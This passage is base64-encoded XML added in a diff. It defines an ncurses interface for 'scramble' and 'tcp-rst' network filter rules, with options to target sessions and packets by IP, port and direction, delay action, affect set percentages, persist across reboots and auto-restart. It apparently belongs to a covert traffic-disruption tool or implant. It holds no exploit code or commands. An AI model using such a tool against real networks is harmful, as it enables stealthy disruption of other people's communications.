+cnNlaWQ+DQogICAgICAgICAgICAgICAgPG5jdXJzZWxhYmVsPlByb3RvY29sPC9uY3Vyc2VsYWJl
+bD4NCiAgICAgICAgICAgICAgICA8dHlwZT5zdHJpbmc8L3R5cGU+DQogICAgICAgICAgICAgICAg
+PHNpemU+MTY8L3NpemU+DQogICAgICAgICAgICAgICAgPHByaW1pdGl2ZT4weDBGMDAwMDAzPC9w
+cmltaXRpdmU+DQogICAgICAgICAgICAgICAgPGFyZ251bWJlcj45PC9hcmdudW1iZXI+DQogICAg
+ICAgICAgICAgIDwvYXR0cmlidXRlPg0KICAgICAgICAgICAgPC9jb21tYW5kX2F0dHJpYnV0ZT4N
+CiAgICAgICAgICA8L3JlcXVpcmVkX2F0dHJpYnV0ZXM+DQogICAgICAgICAgPG9wdGlvbmFsX2F0
+dHJpYnV0ZXMvPg0KICAgICAgICA8L2F0dHJpYnV0ZXM+DQogICAgICAgIDxwYXJhbWV0ZXJzPg0K
+ICAgICAgICAgIDxyZXF1aXJlZF9wYXJhbWV0ZXJzLz4NCiAgICAgICAgICA8b3B0aW9uYWxfcGFy
+YW1ldGVycz4NCiAgICAgICAgICAgIDxwYXJhbWV0ZXIgZmxhZz0iZW4iPg0KICAgICAgICAgICAg
+ICA8Y2FzZXNlbnNpdGl2ZT5mYWxzZTwvY2FzZXNlbnNpdGl2ZT4NCiAgICAgICAgICAgICAgPG5j
+dXJzZWlkPnNjcmFtYmxlX3BhcmFtX2VuPC9uY3Vyc2VpZD4NCiAgICAgICAgICAgICAgPG5jdXJz
+ZWxhYmVsPkVuYWJsZTwvbmN1cnNlbGFiZWw+DQogICAgICAgICAgICAgIDxhdHRyaWJ1dGU+DQog
+ICAgICAgICAgICAgICAgPHR5cGU+cHJlc2VuY2U8L3R5cGU+DQogICAgICAgICAgICAgICAgPHNp
+emU+MTwvc2l6ZT4NCiAgICAgICAgICAgICAgICA8ZGVmYXVsdHZhbHVlPnRydWU8L2RlZmF1bHR2
+YWx1ZT4NCiAgICAgICAgICAgICAgICA8cHJpbWl0aXZlPjB4MEYwMDAwMDQ8L3ByaW1pdGl2ZT4N
+CiAgICAgICAgICAgICAgICA8YXJnbnVtYmVyPjI8L2FyZ251bWJlcj4NCiAgICAgICAgICAgICAg
+ICA8aGVscHRleHQ+RW5hYmxlcyB0aGUgcnVsZSBvbiBjcmVhdGlvbjwvaGVscHRleHQ+DQogICAg
+ICAgICAgICAgIDwvYXR0cmlidXRlPg0KICAgICAgICAgICAgPC9wYXJhbWV0ZXI+DQogICAgICAg
+ICAgICA8cGFyYW1ldGVyIGZsYWc9InBzIj4NCiAgICAgICAgICAgICAgPGNhc2VzZW5zaXRpdmU+
+ZmFsc2U8L2Nhc2VzZW5zaXRpdmU+DQogICAgICAgICAgICAgIDxuY3Vyc2VpZD5zY3JhbWJsZV9w
+YXJhbV9wczwvbmN1cnNlaWQ+DQogICAgICAgICAgICAgIDxuY3Vyc2VsYWJlbD5QZXJzaXN0PC9u
+Y3Vyc2VsYWJlbD4NCiAgICAgICAgICAgICAgPGF0dHJpYnV0ZT4NCiAgICAgICAgICAgICAgICA8
+dHlwZT5wcmVzZW5jZTwvdHlwZT4NCiAgICAgICAgICAgICAgICA8c2l6ZT4xPC9zaXplPg0KICAg
+ICAgICAgICAgICAgIDxkZWZhdWx0dmFsdWU+dHJ1ZTwvZGVmYXVsdHZhbHVlPg0KICAgICAgICAg
+ICAgICAgIDxwcmltaXRpdmU+MHgwRjAwMDAwNTwvcHJpbWl0aXZlPg0KICAgICAgICAgICAgICAg
+IDxhcmdudW1iZXI+MjwvYXJnbnVtYmVyPg0KICAgICAgICAgICAgICAgIDxoZWxwdGV4dD5FbmFi
+bGUgdGhlIGZpbHRlciB0byBzdXJ2aXZlIHJlYm9vdHMuPC9oZWxwdGV4dD4NCiAgICAgICAgICAg
+ICAgPC9hdHRyaWJ1dGU+DQogICAgICAgICAgICA8L3BhcmFtZXRlcj4NCiAgICAgICAgICAgIDxw
+YXJhbWV0ZXIgZmxhZz0iciI+DQogICAgICAgICAgICAgIDxjYXNlc2Vuc2l0aXZlPmZhbHNlPC9j
+YXNlc2Vuc2l0aXZlPg0KICAgICAgICAgICAgICA8bmN1cnNlaWQ+c2NyYW1ibGVfcGFyYW1fcjwv
+bmN1cnNlaWQ+DQogICAgICAgICAgICAgIDxuY3Vyc2VsYWJlbD5BdXRvIFJlc3RhcnQ8L25jdXJz
+ZWxhYmVsPg0KICAgICAgICAgICAgICA8YXR0cmlidXRlPg0KICAgICAgICAgICAgICAgIDx0eXBl
+PnByZXNlbmNlPC90eXBlPg0KICAgICAgICAgICAgICAgIDxzaXplPjE8L3NpemU+DQogICAgICAg
+ICAgICAgICAgPGRlZmF1bHR2YWx1ZT50cnVlPC9kZWZhdWx0dmFsdWU+DQogICAgICAgICAgICAg
+ICAgPHByaW1pdGl2ZT4weDBGMDAwMDAzPC9wcmltaXRpdmU+DQogICAgICAgICAgICAgICAgPGFy
+Z251bWJlcj4xMDwvYXJnbnVtYmVyPg0KICAgICAgICAgICAgICAgIDxoZWxwdGV4dD5BdXRvbWF0
+aWNhbGx5IHJlLWVuYWJsZSB0aGUgZmlsdGVyIHdoZW4gdGVybWluYXRpb24gaXMgcmVhY2hlZC48
+L2hlbHB0ZXh0Pg0KICAgICAgICAgICAgICA8L2F0dHJpYnV0ZT4NCiAgICAgICAgICAgIDwvcGFy
+YW1ldGVyPg0KICAgICAgICAgICAgPHBhcmFtZXRlciBmbGFnPSJ0ZCI+DQogICAgICAgICAgICAg
+IDxjYXNlc2Vuc2l0aXZlPmZhbHNlPC9jYXNlc2Vuc2l0aXZlPg0KICAgICAgICAgICAgICA8bmN1
+cnNlaWQ+c2NyYW1ibGVfcGFyYW1fdGQ8L25jdXJzZWlkPg0KICAgICAgICAgICAgICA8bmN1cnNl
+bGFiZWw+VGltZSBEZWxheTwvbmN1cnNlbGFiZWw+DQogICAgICAgICAgICAgIDxhdHRyaWJ1dGU+
+DQogICAgICAgICAgICAgICAgPHR5cGU+c3RyaW5nPC90eXBlPg0KICAgICAgICAgICAgICAgIDxz
+aXplPjE1PC9zaXplPg0KICAgICAgICAgICAgICAgIDxwcmltaXRpdmU+MHgwRjAwMDAwMzwvcHJp
+bWl0aXZlPg0KICAgICAgICAgICAgICAgIDxhcmdudW1iZXI+MTE8L2FyZ251bWJlcj4NCiAgICAg
+ICAgICAgICAgICA8aGVscHRleHQ+VGltZSBiZWZvcmUgZmlsdGVyIGFmZmVjdHMgcGFja2V0cy4g
+IFRoZSBmb3JtYXQgY2FuIGJlIHNlY29uZHMgaS5lLiAzNjAwLCBvciBvbmUgY2hhcmFjdGVyIHNw
+ZWNpZmllcnMgZm9yIGRheXMsIGhvdXJzLCBtaW51dGVzLCBhbmQgc2Vjb25kcyBpLmUuIDFkIDJo
+IDNtIDRzLjwvaGVscHRleHQ+DQogICAgICAgICAgICAgIDwvYXR0cmlidXRlPg0KICAgICAgICAg
+ICAgPC9wYXJhbWV0ZXI+DQogICAgICAgICAgICA8cGFyYW1ldGVyIGZsYWc9InQiPg0KICAgICAg
+ICAgICAgICA8Y2FzZXNlbnNpdGl2ZT5mYWxzZTwvY2FzZXNlbnNpdGl2ZT4NCiAgICAgICAgICAg
+ICAgPG5jdXJzZWlkPnNjcmFtYmxlX3BhcmFtX3Q8L25jdXJzZWlkPg0KICAgICAgICAgICAgICA8
+bmN1cnNlbGFiZWw+VGltZSBEdXJhdGlvbjwvbmN1cnNlbGFiZWw+DQogICAgICAgICAgICAgIDxh
+dHRyaWJ1dGU+DQogICAgICAgICAgICAgICAgPHR5cGU+c3RyaW5nPC90eXBlPg0KICAgICAgICAg
+ICAgICAgIDxzaXplPjE1PC9zaXplPg0KICAgICAgICAgICAgICAgIDxwcmltaXRpdmU+MHgwRjAw
+MDAwMzwvcHJpbWl0aXZlPg0KICAgICAgICAgICAgICAgIDxhcmdudW1iZXI+MTI8L2FyZ251bWJl
+cj4NCiAgICAgICAgICAgICAgICA8aGVscHRleHQ+RHVyYXRpb24gcGFja2V0cyB3aWxsIGJlIGFm
+ZmVjdGVkIGJ5IGZpbHRlci4gIFRoZSBmb3JtYXQgY2FuIGJlIHNlY29uZHMgaS5lLiAzNjAwLCBv
+ciBvbmUgY2hhcmFjdGVyIHNwZWNpZmllcnMgZm9yIGRheXMsIGhvdXJzLCBtaW51dGVzLCBhbmQg
+c2Vjb25kcyBpLmUuIDFkIDJoIDNtIDRzLjwvaGVscHRleHQ+DQogICAgICAgICAgICAgIDwvYXR0
+cmlidXRlPg0KICAgICAgICAgICAgPC9wYXJhbWV0ZXI+DQogICAgICAgICAgICA8cGFyYW1ldGVy
+IGZsYWc9InNkIj4NCiAgICAgICAgICAgICAgPGNhc2VzZW5zaXRpdmU+ZmFsc2U8L2Nhc2VzZW5z
+aXRpdmU+DQogICAgICAgICAgICAgIDxuY3Vyc2VpZD5zY3JhbWJsZV9wYXJhbV9zZDwvbmN1cnNl
+aWQ+DQogICAgICAgICAgICAgIDxuY3Vyc2VsYWJlbD5TZXNzaW9uIERlbGF5PC9uY3Vyc2VsYWJl
+bD4NCiAgICAgICAgICAgICAgPGF0dHJpYnV0ZT4NCiAgICAgICAgICAgICAgICA8dHlwZT51aW50
+MzI8L3R5cGU+DQogICAgICAgICAgICAgICAgPHNpemU+MTE8L3NpemU+DQogICAgICAgICAgICAg
+ICAgPGRlZmF1bHR2YWx1ZT4wPC9kZWZhdWx0dmFsdWU+DQogICAgICAgICAgICAgICAgPHByaW1p
+dGl2ZT4weDBGMDAwMDAzPC9wcmltaXRpdmU+DQogICAgICAgICAgICAgICAgPGFyZ251bWJlcj4x
+MzwvYXJnbnVtYmVyPg0KICAgICAgICAgICAgICAgIDxoZWxwdGV4dD5OdW1iZXIgb2Ygc2Vzc2lv
+bnMgdG8gaWdub3JlIGJlZm9yZSBmaWx0ZXIgYWZmZWN0cyBwYWNrZXRzLjwvaGVscHRleHQ+DQog
+ICAgICAgICAgICAgIDwvYXR0cmlidXRlPg0KICAgICAgICAgICAgPC9wYXJhbWV0ZXI+DQogICAg
+ICAgICAgICA8cGFyYW1ldGVyIGZsYWc9InMiPg0KICAgICAgICAgICAgICA8Y2FzZXNlbnNpdGl2
+ZT5mYWxzZTwvY2FzZXNlbnNpdGl2ZT4NCiAgICAgICAgICAgICAgPG5jdXJzZWlkPnNjcmFtYmxl
+X3BhcmFtX3M8L25jdXJzZWlkPg0KICAgICAgICAgICAgICA8bmN1cnNlbGFiZWw+U2Vzc2lvbiBQ
+ZXJjZW50YWdlPC9uY3Vyc2VsYWJlbD4NCiAgICAgICAgICAgICAgPGF0dHJpYnV0ZT4NCiAgICAg
+ICAgICAgICAgICA8dHlwZT51aW50MzI8L3R5cGU+DQogICAgICAgICAgICAgICAgPHNpemU+MTE8
+L3NpemU+DQogICAgICAgICAgICAgICAgPGRlZmF1bHR2YWx1ZT4wPC9kZWZhdWx0dmFsdWU+DQog
+ICAgICAgICAgICAgICAgPHByaW1pdGl2ZT4weDBGMDAwMDAzPC9wcmltaXRpdmU+DQogICAgICAg
+ICAgICAgICAgPGFyZ251bWJlcj4xNDwvYXJnbnVtYmVyPg0KICAgICAgICAgICAgICAgIDxoZWxw
+dGV4dD5QZXJjZW50YWdlIG9mIHNlc3Npb25zIGZpbHRlciB3aWxsIGFmZmVjdC48L2hlbHB0ZXh0
+Pg0KICAgICAgICAgICAgICA8L2F0dHJpYnV0ZT4NCiAgICAgICAgICAgIDwvcGFyYW1ldGVyPg0K
+ICAgICAgICAgICAgPHBhcmFtZXRlciBmbGFnPSJzbSI+DQogICAgICAgICAgICAgIDxjYXNlc2Vu
+c2l0aXZlPmZhbHNlPC9jYXNlc2Vuc2l0aXZlPg0KICAgICAgICAgICAgICA8bmN1cnNlaWQ+c2Ny
+YW1ibGVfcGFyYW1fc208L25jdXJzZWlkPg0KICAgICAgICAgICAgICA8bmN1cnNlbGFiZWw+TWF4
+IFNlc3Npb25zPC9uY3Vyc2VsYWJlbD4NCiAgICAgICAgICAgICAgPGF0dHJpYnV0ZT4NCiAgICAg
+ICAgICAgICAgICA8dHlwZT51aW50MzI8L3R5cGU+DQogICAgICAgICAgICAgICAgPHNpemU+MTE8
+L3NpemU+DQogICAgICAgICAgICAgICAgPGRlZmF1bHR2YWx1ZT4wPC9kZWZhdWx0dmFsdWU+DQog
+ICAgICAgICAgICAgICAgPHByaW1pdGl2ZT4weDBGMDAwMDAzPC9wcmltaXRpdmU+DQogICAgICAg
+ICAgICAgICAgPGFyZ251bWJlcj4xNTwvYXJnbnVtYmVyPg0KICAgICAgICAgICAgICAgIDxoZWxw
+dGV4dD5NYXhpbXVtIG51bWJlciBvZiBzZXNzaW9uIHRvIGFmZmVjdCBiZWZvcmUgZmlsdGVyIGlz
+IHRlcm1pbmF0ZWQuPC9oZWxwdGV4dD4NCiAgICAgICAgICAgICAgPC9hdHRyaWJ1dGU+DQogICAg
+ICAgICAgICA8L3BhcmFtZXRlcj4NCiAgICAgICAgICAgIDxwYXJhbWV0ZXIgZmxhZz0icGQiPg0K
+ICAgICAgICAgICAgICA8Y2FzZXNlbnNpdGl2ZT5mYWxzZTwvY2FzZXNlbnNpdGl2ZT4NCiAgICAg
+ICAgICAgICAgPG5jdXJzZWlkPnNjcmFtYmxlX3BhcmFtX3BkPC9uY3Vyc2VpZD4NCiAgICAgICAg
+ICAgICAgPG5jdXJzZWxhYmVsPlBhY2tldCBEZWxheTwvbmN1cnNlbGFiZWw+DQogICAgICAgICAg
+ICAgIDxhdHRyaWJ1dGU+DQogICAgICAgICAgICAgICAgPHR5cGU+dWludDMyPC90eXBlPg0KICAg
+ICAgICAgICAgICAgIDxzaXplPjExPC9zaXplPg0KICAgICAgICAgICAgICAgIDxkZWZhdWx0dmFs
+dWU+MDwvZGVmYXVsdHZhbHVlPg0KICAgICAgICAgICAgICAgIDxwcmltaXRpdmU+MHgwRjAwMDAw
+MzwvcHJpbWl0aXZlPg0KICAgICAgICAgICAgICAgIDxhcmdudW1iZXI+MTY8L2FyZ251bWJlcj4N
+CiAgICAgICAgICAgICAgICA8aGVscHRleHQ+TnVtYmVyIG9mIHBhY2tldHMgdG8gaWdub3JlIGJl
+Zm9yZSBmaWx0ZXIgYWZmZWN0cyBwYWNrZXRzLjwvaGVscHRleHQ+DQogICAgICAgICAgICAgIDwv
+YXR0cmlidXRlPg0KICAgICAgICAgICAgPC9wYXJhbWV0ZXI+DQogICAgICAgICAgICA8cGFyYW1l
+dGVyIGZsYWc9InAiPg0KICAgICAgICAgICAgICA8Y2FzZXNlbnNpdGl2ZT5mYWxzZTwvY2FzZXNl
+bnNpdGl2ZT4NCiAgICAgICAgICAgICAgPG5jdXJzZWlkPnNjcmFtYmxlX3BhcmFtX3A8L25jdXJz
+ZWlkPg0KICAgICAgICAgICAgICA8bmN1cnNlbGFiZWw+UGFja2V0IFBlcmNlbnRhZ2U8L25jdXJz
+ZWxhYmVsPg0KICAgICAgICAgICAgICA8YXR0cmlidXRlPg0KICAgICAgICAgICAgICAgIDx0eXBl
+PnVpbnQzMjwvdHlwZT4NCiAgICAgICAgICAgICAgICA8c2l6ZT4xMTwvc2l6ZT4NCiAgICAgICAg
+ICAgICAgICA8ZGVmYXVsdHZhbHVlPjA8L2RlZmF1bHR2YWx1ZT4NCiAgICAgICAgICAgICAgICA8
+cHJpbWl0aXZlPjB4MEYwMDAwMDM8L3ByaW1pdGl2ZT4NCiAgICAgICAgICAgICAgICA8YXJnbnVt
+YmVyPjE3PC9hcmdudW1iZXI+DQogICAgICAgICAgICAgICAgPGhlbHB0ZXh0PlBlcmNlbnRhZ2Ug
+b2YgcGFja2V0cyBmaWx0ZXIgd2lsbCBhZmZlY3QuPC9oZWxwdGV4dD4NCiAgICAgICAgICAgICAg
+PC9hdHRyaWJ1dGU+DQogICAgICAgICAgICA8L3BhcmFtZXRlcj4NCiAgICAgICAgICAgIDxwYXJh
+bWV0ZXIgZmxhZz0icG0iPg0KICAgICAgICAgICAgICA8Y2FzZXNlbnNpdGl2ZT5mYWxzZTwvY2Fz
+ZXNlbnNpdGl2ZT4NCiAgICAgICAgICAgICAgPG5jdXJzZWlkPnNjcmFtYmxlX3BhcmFtX3BtPC9u
+Y3Vyc2VpZD4NCiAgICAgICAgICAgICAgPG5jdXJzZWxhYmVsPk1heCBQYWNrZXRzPC9uY3Vyc2Vs
+YWJlbD4NCiAgICAgICAgICAgICAgPGF0dHJpYnV0ZT4NCiAgICAgICAgICAgICAgICA8dHlwZT51
+aW50MzI8L3R5cGU+DQogICAgICAgICAgICAgICAgPHNpemU+MTE8L3NpemU+DQogICAgICAgICAg
+ICAgICAgPGRlZmF1bHR2YWx1ZT4wPC9kZWZhdWx0dmFsdWU+DQogICAgICAgICAgICAgICAgPHBy
+aW1pdGl2ZT4weDBGMDAwMDAzPC9wcmltaXRpdmU+DQogICAgICAgICAgICAgICAgPGFyZ251bWJl
+cj4xODwvYXJnbnVtYmVyPg0KICAgICAgICAgICAgICAgIDxoZWxwdGV4dD5NYXhpbXVtIG51bWJl
+ciBvZiBwYWNrZXRzIHRvIGFmZmVjdCBiZWZvcmUgZmlsdGVyIGlzIHRlcm1pbmF0ZWQuPC9oZWxw
+dGV4dD4NCiAgICAgICAgICAgICAgPC9hdHRyaWJ1dGU+DQogICAgICAgICAgICA8L3BhcmFtZXRl
+cj4NCiAgICAgICAgICAgIDxwYXJhbWV0ZXIgZmxhZz0iZGlyIj4NCiAgICAgICAgICAgICAgPGNh
+c2VzZW5zaXRpdmU+ZmFsc2U8L2Nhc2VzZW5zaXRpdmU+DQogICAgICAgICAgICAgIDxuY3Vyc2Vp
+ZD5zY3JhbWJsZV9wYXJhbV9kaXI8L25jdXJzZWlkPg0KICAgICAgICAgICAgICA8bmN1cnNlbGFi
+ZWw+RGlyZWN0aW9uPC9uY3Vyc2VsYWJlbD4NCiAgICAgICAgICAgICAgPGF0dHJpYnV0ZT4NCiAg
+ICAgICAgICAgICAgICA8dHlwZT51aW50MzI8L3R5cGU+DQogICAgICAgICAgICAgICAgPHNpemU+
+MTE8L3NpemU+DQogICAgICAgICAgICAgICAgPGRlZmF1bHR2YWx1ZT4wPC9kZWZhdWx0dmFsdWU+
+DQogICAgICAgICAgICAgICAgPHByaW1pdGl2ZT4weDBGMDAwMDAzPC9wcmltaXRpdmU+DQogICAg
+ICAgICAgICAgICAgPGFyZ251bWJlcj4xOTwvYXJnbnVtYmVyPg0KICAgICAgICAgICAgICAgIDxo
+ZWxwdGV4dD5UaGUgZGlyZWN0aW9uIGluIGEgY2xpZW50IHNlcnZlciBjb25uZWN0aW9uIHRoYXQg
+dGhpcyBmaWx0ZXIgYXBwbGllcyB0by4gIElmIGZsYWcgaXMgbm90IHVzZWQsIGJvdGggZGlyZWN0
+aW9uIHdpbGwgYmUgZmlsdGVyZWQgb24uICBJZiAxIGlzIGVudGVyZWQsIG9ubHkgY29ubmVjdGlv
+bnMgZnJvbSB0aGUgY2xpZW50IHdpbGwgYmUgZmlsdGVyZWQgb24uICBJZiAyLCBvbmx5IHRob3Nl
+IGZyb20gdGhlIHNlcnZlci48L2hlbHB0ZXh0Pg0KICAgICAgICAgICAgICA8L2F0dHJpYnV0ZT4N
+CiAgICAgICAgICAgIDwvcGFyYW1ldGVyPg0KICAgICAgICAgIDwvb3B0aW9uYWxfcGFyYW1ldGVy
+cz4NCiAgICAgICAgPC9wYXJhbWV0ZXJzPg0KICAgICAgICA8bmN1cnNlc2xheW91dD4NCiAgICAg
+ICAgICA8c2VjdGlvbj4NCiAgICAgICAgICAgIDxjb2x1bW4+DQogICAgICAgICAgICAgIDx0aXRs
+ZT5TY3JhbWJsZSB0Y3BfZmluIEZpbHRlcjwvdGl0bGU+DQogICAgICAgICAgICA8L2NvbHVtbj4N
+CiAgICAgICAgICA8L3NlY3Rpb24+DQogICAgICAgICAgPHNlY3Rpb24+DQogICAgICAgICAgICA8
+Y29sdW1uPg0KICAgICAgICAgICAgICA8ZWxlbWVudD5zY3JhbWJsZV9jcmVhdGVfYXR0cmliXzE8
+L2VsZW1lbnQ+DQogICAgICAgICAgICAgIDxlbGVtZW50PnNjcmFtYmxlX2NyZWF0ZV9hdHRyaWJf
+MjwvZWxlbWVudD4NCiAgICAgICAgICAgICAgPGVsZW1lbnQ+c2NyYW1ibGVfY3JlYXRlX2F0dHJp
+Yl8zPC9lbGVtZW50Pg0KICAgICAgICAgICAgICA8ZWxlbWVudD5zY3JhbWJsZV9jcmVhdGVfYXR0
+cmliXzQ8L2VsZW1lbnQ+DQogICAgICAgICAgICA8L2NvbHVtbj4NCiAgICAgICAgICAgIDxjb2x1
+bW4+DQogICAgICAgICAgICAgIDxlbGVtZW50PnNjcmFtYmxlX2NyZWF0ZV9hdHRyaWJfNTwvZWxl
+bWVudD4NCiAgICAgICAgICAgICAgPGVsZW1lbnQ+c2NyYW1ibGVfY3JlYXRlX2F0dHJpYl82PC9l
+bGVtZW50Pg0KICAgICAgICAgICAgICA8ZWxlbWVudD5zY3JhbWJsZV9jcmVhdGVfYXR0cmliXzc8
+L2VsZW1lbnQ+DQogICAgICAgICAgICAgIDxlbGVtZW50PnNjcmFtYmxlX2NyZWF0ZV9hdHRyaWJf
+ODwvZWxlbWVudD4NCiAgICAgICAgICAgIDwvY29sdW1uPg0KICAgICAgICAgIDwvc2VjdGlvbj4N
+CiAgICAgICAgICA8c2VjdGlvbj4NCiAgICAgICAgICAgIDxjb2x1bW4+DQogICAgICAgICAgICAg
+IDxlbGVtZW50PnNjcmFtYmxlX2NyZWF0ZV9hdHRyaWJfOTwvZWxlbWVudD4NCiAgICAgICAgICAg
+IDwvY29sdW1uPg0KICAgICAgICAgICAgPGNvbHVtbi8+DQogICAgICAgICAgPC9zZWN0aW9uPg0K
+ICAgICAgICAgIDxzZWN0aW9uPg0KICAgICAgICAgICAgPGNvbHVtbj4NCiAgICAgICAgICAgICAg
+PGVsZW1lbnQ+c2NyYW1ibGVfcGFyYW1fZW48L2VsZW1lbnQ+DQogICAgICAgICAgICA8L2NvbHVt
+bj4NCiAgICAgICAgICAgIDxjb2x1bW4+DQogICAgICAgICAgICAgIDxlbGVtZW50PnNjcmFtYmxl
+X3BhcmFtX3BzPC9lbGVtZW50Pg0KICAgICAgICAgICAgPC9jb2x1bW4+DQogICAgICAgICAgICA8
+Y29sdW1uPg0KICAgICAgICAgICAgICA8ZWxlbWVudD5zY3JhbWJsZV9wYXJhbV9yPC9lbGVtZW50
+Pg0KICAgICAgICAgICAgPC9jb2x1bW4+DQogICAgICAgICAgPC9zZWN0aW9uPg0KICAgICAgICAg
+IDxzZWN0aW9uPg0KICAgICAgICAgICAgPGNvbHVtbj4NCiAgICAgICAgICAgICAgICA8ZWxlbWVu
+dD5zY3JhbWJsZV9wYXJhbV90ZDwvZWxlbWVudD4NCiAgICAgICAgICAgIDwvY29sdW1uPg0KICAg
+ICAgICAgICAgPGNvbHVtbj4NCiAgICAgICAgICAgICAgICA8ZWxlbWVudD5zY3JhbWJsZV9wYXJh
+bV90PC9lbGVtZW50Pg0KICAgICAgICAgICAgPC9jb2x1bW4+DQogICAgICAgICAgPC9zZWN0aW9u
+Pg0KICAgICAgICAgIDxzZWN0aW9uPg0KICAgICAgICAgICAgPGNvbHVtbj4NCiAgICAgICAgICAg
+ICAgPGVsZW1lbnQ+c2NyYW1ibGVfcGFyYW1fc2Q8L2VsZW1lbnQ+DQogICAgICAgICAgICA8L2Nv
+bHVtbj4NCiAgICAgICAgICAgIDxjb2x1bW4+DQogICAgICAgICAgICAgIDxlbGVtZW50PnNjcmFt
+YmxlX3BhcmFtX3M8L2VsZW1lbnQ+DQogICAgICAgICAgICA8L2NvbHVtbj4NCiAgICAgICAgICAg
+IDxjb2x1bW4+DQogICAgICAgICAgICAgIDxlbGVtZW50PnNjcmFtYmxlX3BhcmFtX3NtPC9lbGVt
+ZW50Pg0KICAgICAgICAgICAgPC9jb2x1bW4+DQogICAgICAgICAgPC9zZWN0aW9uPg0KICAgICAg
+ICAgIDxzZWN0aW9uPg0KICAgICAgICAgICAgPGNvbHVtbj4NCiAgICAgICAgICAgICAgPGVsZW1l
+bnQ+c2NyYW1ibGVfcGFyYW1fcGQ8L2VsZW1lbnQ+DQogICAgICAgICAgICA8L2NvbHVtbj4NCiAg
+ICAgICAgICAgIDxjb2x1bW4+DQogICAgICAgICAgICAgIDxlbGVtZW50PnNjcmFtYmxlX3BhcmFt
+X3A8L2VsZW1lbnQ+DQogICAgICAgICAgICA8L2NvbHVtbj4NCiAgICAgICAgICAgIDxjb2x1bW4+
+DQogICAgICAgICAgICAgIDxlbGVtZW50PnNjcmFtYmxlX3BhcmFtX3BtPC9lbGVtZW50Pg0KICAg
+ICAgICAgICAgPC9jb2x1bW4+DQogICAgICAgICAgPC9zZWN0aW9uPg0KICAgICAgICAgIDxzZWN0
+aW9uPg0KICAgICAgICAgICAgPGNvbHVtbj4NCiAgICAgICAgICAgICAgPGVsZW1lbnQ+c2NyYW1i
+bGVfcGFyYW1fZGlyPC9lbGVtZW50Pg0KICAgICAgICAgICAgPC9jb2x1bW4+DQogICAgICAgICAg
+PC9zZWN0aW9uPg0KICAgICAgICA8L25jdXJzZXNsYXlvdXQ+DQogICAgICA8L2NtZD4NCiAgICAg
+IDxjbWQgdGl0bGU9InRjcC1yc3QiPg0KICAgICAgICA8aGVscHRleHQ+Q3JlYXRlcyBhIG5ldyB0
+Y3AtcnN0IHJ1bGUgYmFzZWQgb24gdGhlIHNwZWNpZmllZCBjcml0ZXJpYS48L2hlbHB0ZXh0Pg0K
+ICAgICAgICA8cHJpbWl0aXZlcz4NCiAgICAgICAgICA8cmVxdWlyZWRfcHJpbWl0aXZlcz4NCiAg
+ICAgICAgICAgIDxwcmltaXRpdmU+MHgwRjAwMDAwMzwvcHJpbWl0aXZlPg0KICAgICAgICAgICAg
+PHByaW1pdGl2ZT4weDBGMDAwMDBGPC9wcmltaXRpdmU+DQogICAgICAgICAgPC9yZXF1aXJlZF9w
+cmltaXRpdmVzPg0KICAgICAgICAgIDxvcHRpb25hbF9wcmltaXRpdmVzPg0KICAgICAgICAgICAg
+PHByaW1pdGl2ZT4weDBGMDAwMDA0PC9wcmltaXRpdmU+DQogICAgICAgICAgICA8cHJpbWl0aXZl
+PjB4MEYwMDAwMDU8L3ByaW1pdGl2ZT4NCiAgICAgICAgICA8L29wdGlvbmFsX3ByaW1pdGl2ZXM+
+DQogICAgICAgIDwvcHJpbWl0aXZlcz4NCiAgICAgICAgPGF0dHJpYnV0ZXM+DQogICAgICAgICAg
+PHJlcXVpcmVkX2F0dHJpYnV0ZXM+DQogICAgICAgICAgICA8Y29tbWFuZF9hdHRyaWJ1dGU+DQog
+ICAgICAgICAgICAgIDxhdHRyaWJ1dGU+DQogICAgICAgICAgICAgICAgPG5jdXJzZWlkPnNjcmFt
+YmxlX2NyZWF0ZV9hdHRyaWJfMTwvbmN1cnNlaWQ+DQogICAgICAgICAgICAgICAgPG5jdXJzZWxh
+YmVsPlNvdXJjZSBJUDwvbmN1cnNlbGFiZWw+DQogICAgICAgICAgICAgICAgPHR5cGU+aXB2NDwv
+dHlwZT4NCiAgICAgICAgICAgICAgICA8c2l6ZT4xNjwvc2l6ZT4NCiAgICAgICAgICAgICAgICA8
+cHJpbWl0aXZlPjB4MEYwMDAwMDM8L3ByaW1pdGl2ZT4NCiAgICAgICAgICAgICAgICA8YXJnbnVt
+YmVyPjE8L2FyZ251bWJlcj4NCiAgICAgICAgICAgICAgPC9hdHRyaWJ1dGU+DQogICAgICAgICAg
+ICA8L2NvbW1hbmRfYXR0cmlidXRlPg0KICAgICAgICAgICAgPGNvbW1hbmRfYXR0cmlidXRlPg0K
+ICAgICAgICAgICAgICA8YXR0cmlidXRlPg0KICAgICAgICAgICAgICAgIDxuY3Vyc2VpZD5zY3Jh
+bWJsZV9jcmVhdGVfYXR0cmliXzI8L25jdXJzZWlkPg0KICAgICAgICAgICAgICAgIDxuY3Vyc2Vs
+YWJlbD5Tb3VyY2UgTWFzazwvbmN1cnNlbGFiZWw+DQogICAgICAgICAgICAgICAgPHR5cGU+aXB2
+NDwvdHlwZT4NCiAgICAgICAgICAgICAgICA8c2l6ZT4xNjwvc2l6ZT4NCiAgICAgICAgICAgICAg
+ICA8cHJpbWl0aXZlPjB4MEYwMDAwMDM8L3ByaW1pdGl2ZT4NCiAgICAgICAgICAgICAgICA8YXJn
+bnVtYmVyPjI8L2FyZ251bWJlcj4NCiAgICAgICAgICAgICAgPC9hdHRyaWJ1dGU+DQogICAgICAg
+ICAgICA8L2NvbW1hbmRfYXR0cmlidXRlPg0KICAgICAgICAgICAgPGNvbW1hbmRfYXR0cmlidXRl
+Pg0KICAgICAgICAgICAgICA8bmN1cnNlaWQ+c2NyYW1ibGVfY3JlYXRlX2F0dHJpYl8zPC9uY3Vy
+c2VpZD4NCiAgICAgICAgICAgICAgPG5jdXJzZWxhYmVsPlN0YXJ0IFNyYyBQb3J0PC9uY3Vyc2Vs
+YWJlbD4NCiAgICAgICAgICAgICAgPGF0dHJpYnV0ZT4NCiAgICAgICAgICAgICAgICA8dHlwZT51
+aW50MzI8L3R5cGU+DQogICAgICAgICAgICAgICAgPHNpemU+MTE8L3NpemU+DQogICAgICAgICAg
+ICAgICAgPHByaW1pdGl2ZT4weDBGMDAwMDAzPC9wcmltaXRpdmU+DQogICAgICAgICAgICAgICAg
+PGFyZ251bWJlcj4zPC9hcmdudW1iZXI+DQogICAgICAgICAgICAgIDwvYXR0cmlidXRlPg0KICAg
